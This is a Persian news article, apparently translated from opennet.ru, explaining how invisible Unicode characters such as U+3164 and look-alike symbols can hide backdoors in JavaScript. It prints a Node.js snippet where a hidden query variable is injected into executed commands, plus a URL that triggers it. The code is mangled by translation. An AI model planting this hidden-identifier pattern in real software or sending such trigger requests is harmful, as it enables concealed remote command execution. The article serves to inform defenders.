استفاده از کاراکترهای یونیکد نامرئی برای پنهان کردن اقدامات در کد جاوا اسکریپت

به دنبال روش حمله Trojan Source که مبتنی بر استفاده از کاراکترهای یونیکد است که ترتیب نمایش متن دو طرفه را تغییر می‌دهند، تکنیک دیگری برای معرفی اقدامات پنهان منتشر شده است که برای کدهای جاوا اسکریپت قابل استفاده است. روش جدید مبتنی بر استفاده از کاراکتر یونیکد "ㅤ" (کد 0x3164، "HANGUL FILLER") است که به دسته حروف تعلق دارد، اما محتوای قابل مشاهده ندارد. دسته یونیکد که این کاراکتر به آن تعلق دارد، از مشخصات ECMAScript 2015 برای استفاده در نام متغیرهای جاوا اسکریپت مجاز است، و این امکان ایجاد متغیرهای نامرئی یا متغیرهای جدیدی را فراهم می کند که از سایر متغیرها در ویرایشگرهای کد محبوب مانند Notepad++ و VS Code قابل تشخیص نیستند.

به عنوان مثال، کد پلتفرم Node.js داده شده است، که در آن، با استفاده از یک متغیر متشکل از یک کاراکتر "ㅤ"، یک درب پشتی پنهان است که اجازه اجرای کد مشخص شده توسط مهاجم را می دهد: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // در واقع می گوید "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com'، 'curl -s http:// example.com/'،ㅤ // کاما با کاراکتر \u3164 ] دنبال می‌شود.

در نگاه اول، فقط مقدار timeout از پارامتر خارجی عبور داده می شود و آرایه با دستوراتی که باید اجرا شوند حاوی یک لیست ثابت بی ضرر است. اما در واقع، پس از متغیر timeout، مقدار متغیر نامرئی دیگری با کد کاراکتر \u3164 تخصیص داده می شود که در آرایه دستورات اجرایی نیز جایگزین می شود. بنابراین، اگر چنین طرحی در دسترس باشد، مهاجم می‌تواند درخواستی مانند «https://host:8080/network_health?%E3%85%A4=command» برای فعال کردن درب پشتی و اجرای کد خود ارسال کند.

مثال دیگر کاراکتر "ǃ" (کلیک آلوئولار) است که می توان از آن برای نشان دادن علامت تعجب استفاده کرد. به عنوان مثال، عبارت "if(environmentǃ=ENV_PROD){" هنگام اجرا در Node.js 14 همیشه درست خواهد بود، زیرا تفاوت ها را بررسی نمی کند، اما مقدار ENV_PROD را به متغیر "environmentǃ" اختصاص می دهد. سایر کاراکترهای گمراه کننده یونیکد عبارتند از "/"، "−"، "+"، "⩵"، "❨"، "⫽"، "꓿" و "∗".

منبع: opennet.ru

اضافه کردن نظر